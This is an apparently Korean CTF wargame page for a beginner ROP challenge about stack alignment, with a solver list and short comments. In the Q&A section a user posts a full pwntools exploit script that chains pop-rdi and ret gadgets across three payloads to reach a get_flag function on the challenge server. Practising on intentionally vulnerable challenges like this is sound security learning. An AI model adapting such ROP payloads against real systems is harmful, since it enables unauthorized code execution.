LEVEL 1

stack aligne test

pwnable
  • 문제 정보
  • 풀이 26
  • 난이도 투표 43
  • 질문 1
  • 최근 풀이자 173
  • 댓글 6

문제 설명

간단한 ROP 문제입니다! 근데 이제 스택 정렬을 곁들인

난이도 투표 43

질문 1

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
로되리안인데.. 정말 이유를 모르겠습니다.
from pwn import * import time p = process('./chall') p = remote('host8.dreamhack.games', 16761) e = ELF('./chall') context.log_level = 'debug' execute_stage1 = e.symbols['execute_stage1'] execute_stage2 = e.symbols['execute_stage2'] vulnerable = e.symbols['vulnerable'] get_flag = e.symbols['get_flag'] retgadget = 0x40101a pop_rdi_ret = 0x401565 p.recvuntil(b'key: ') stage1_key = int(p.recvn(10), 16) stage1_rdi = stage1_key ^ 0xCAFEBABE print('stage1_key.. ' + hex(stage1_key)) print('stage1_rdi.. ' + hex(stage1_rdi)) print('execute_stage1.. ' + hex(execute_stage1)) print('execute_stage2.. ' + hex(execute_stage2)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage1_rdi) payload += p64(retgadget) payload += p64(execute_stage1) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage2_key = int(p.recvn(10), 16) stage2_rdi = stage2_key ^ 0xF00DBABE print('stage2_key.. ' + hex(stage2_key)) print('stage2_rdi.. ' + hex(stage2_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage2_rdi) payload += p64(execute_stage2) payload += p64(retgadget) payload += p64(vulnerable) p.sendafter(b'Input: ', payload) p.recvuntil(b'key: ') stage3_key = int(p.recvn(10), 16) stage3_rdi = stage3_key ^ 0x12345678 print('stage3_key.. ' + hex(stage3_key)) print('stage3_rdi.. ' + hex(stage3_rdi)) payload = b'A' * 0x10 payload += b'B' * 0x8 payload += p64(pop_rdi_ret) payload += p64(stage3_rdi) payload += p64(retgadget) payload += p64(get_flag) p.sendafter(b'Input: ', payload) p.interactive() 출제자님의 의도대로 풀기 위해서 각 함수를 전부 사용하여 익스플로잇 했습니다. 로컬에선 정상적으로 작동해서 get_flag 함수까지 호출 되지만, 리모트에선 첫 번째 페이로드가 전송되고 EOFerror가 뜨면서 작동이 안 됩니다... 첫 번째 페이로드 전송 후 p.recvuntil(b'key: ') 에서 응답 값이 없어서 멈추는데, 이유를 전혀 모르겠습니다..
F3dr3w
LEVEL 1

stack aligne test

pwnable

출제자 정보

YEONBA
.HACK 2025 참가자

First Blood!

avatar
p0her
Open Beta Tester
출제된 지 3분 만에 풀이 완료!

최근 풀이자 173

d0r1
파이터
avatar
x3ric
대표 업적 없음
avatar
Lacroix
대표 업적 없음
외눈물고기
대표 업적 없음
avatar
wiimdy
세계수
avatar
obiwan
조커
avatar
하지만또다시
웹해킹 전문가
avatar
fsharp
러너
avatar
kidz0
시스템 해킹 전문가
whoami_mr.x
대표 업적 없음

댓글 6

avatar
__Ph4nt0m_Byt3
워게임: 20
누가 인텐인가
haehae
대표 업적 없음
일단 성실하게 인텐으로...
우도우도
Misc 초심자
어디까지가 인텐인가
avatar
지후니ab1
대표 업적 없음
어디까지가 인텐인가
avatar
Rootsquare
바탈리온
함수의 반환 주소는 어떤 값으로든 덮을 수 있다.
avatar
z3rodae0
시니어
Good paths take time.